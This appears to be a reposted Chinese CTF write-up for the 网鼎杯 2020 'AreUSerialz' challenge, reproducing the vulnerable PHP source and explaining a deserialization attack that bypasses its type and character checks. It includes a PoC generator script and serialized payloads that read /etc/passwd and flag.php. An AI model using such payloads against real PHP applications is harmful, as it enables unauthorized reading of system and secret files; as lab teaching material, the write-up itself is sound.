zoukankan      html  css  js  c++  java
  • [网鼎杯 2020 青龙组]AreUSerialz

    [网鼎杯 2020 青龙组]AreUSerialz。

    地址:https://buuoj.cn/challenges#[%E7%BD%91%E9%BC%8E%E6%9D%AF%202020%20%E9%9D%92%E9%BE%99%E7%BB%84]AreUSerialz

    一、审计代码

      

    <?php
    
    include("flag.php");
    
    highlight_file(__FILE__);
    
    class FileHandler {
    
        protected $op;
        protected $filename;
        protected $content;
    
        function __construct() {
            $op = "1";
            $filename = "/tmp/tmpfile";
            $content = "Hello World!";
            $this->process();
        }
    
        public function process() {
            if($this->op == "1") {
                $this->write();
            } else if($this->op == "2") {
                $res = $this->read();
                $this->output($res);
            } else {
                $this->output("Bad Hacker!");
            }
        }
    
        private function write() {
            if(isset($this->filename) && isset($this->content)) {
                if(strlen((string)$this->content) > 100) {
                    $this->output("Too long!");
                    die();
                }
                $res = file_put_contents($this->filename, $this->content);
                if($res) $this->output("Successful!");
                else $this->output("Failed!");
            } else {
                $this->output("Failed!");
            }
        }
    
        private function read() {
            $res = "";
            if(isset($this->filename)) {
                $res = file_get_contents($this->filename);
            }
            return $res;
        }
    
        private function output($s) {
            echo "[Result]: <br>";
            echo $s;
        }
    
        function __destruct() {
            if($this->op === "2")
                $this->op = "1";
            $this->content = "";
            $this->process();
        }
    
    }
    
    function is_valid($s) {
        for($i = 0; $i < strlen($s); $i++)
            if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
                return false;
        return true;
    }
    
    if(isset($_GET{'str'})) {
    
        $str = (string)$_GET['str'];
        if(is_valid($str)) {
            $obj = unserialize($str);
        }
    
    }

    1、搜索unserialize,找到输入点为GET请求提交的参数str,该参数会被反序列化。

    2、搜索__destruct,找到析构函数,发现起调用了process函数,同时该函数会根据op变量值的不同,会相应调用读写函数。

    3、所以,这里的思路就清楚了:

      (一)将op设置为int型的2,绕过析构函数中的if判断,同时又可以调用到读文件的流程

      (二)利用大写S采用的16进制,来绕过is_valid中对空字节的检查

    二、构造poc

      先尝试读取/etcc/passwd,验证脚本是否生效:

    shellydeMacBook-Pro:~ shellyzhang$ cat 2.php 
    <?php
    class FileHandler {
    
        protected $op;
        protected $filename;
        protected $content;
    
        function __construct() {
            $this->op = 2;
            $this->filename = "/etc/passwd";
            $this->content = "";
        }
    
    }
    
    $a = new FileHandler();
    $b = urlencode(serialize($a));
    $b = str_replace("s", "S", $b);  
    $b = str_replace("%00", "\00", $b);  
    echo $b; shellydeMacBook-Pro:~ shellyzhang$ php 2.php 
    O%3A11%3A%22FileHandler%22%3A3%3A%7BS%3A5%3A%2200%2A0op%22%3Bi%3A2%3BS%3A11%3A%2200%2A0filename%22%3BS%3A11%3A%22%2Fetc%2FpaSSwd%22%3BS%3A10%3A%2200%2A0content%22%3BS%3A0%3A%22%22%3B%7D

      成功读取文件,注意这里需要把paSSwd改回passwd:

      尝试可知,直接相对路径,即可读出flag,采用poc

    O%3A11%3A%22FileHandler%22%3A3%3A%7BS%3A5%3A%2200%2A0op%22%3Bi%3A2%3BS%3A11%3A%2200%2A0filename%22%3BS%3A8%3A%22flag.php%22%3BS%3A10%3A%2200%2A0content%22%3BS%3A0%3A%22%22%3B%7D

  • 相关阅读:
    初识 MyBatis
    基于模板匹配的车牌识别
    完整java开发中JDBC连接数据库代码和步骤
    MyBatis 动态SQL
    最大子序列和问题
    二分搜索,欧几里德算法
    链表单链表
    UVA 12293 Box Game
    hdu 4565 so easy
    Bootstrap Table的使用 Cryst
  • 原文地址:https://www.cnblogs.com/or4nge/p/13440624.html
Copyright © 2011-2022 走看看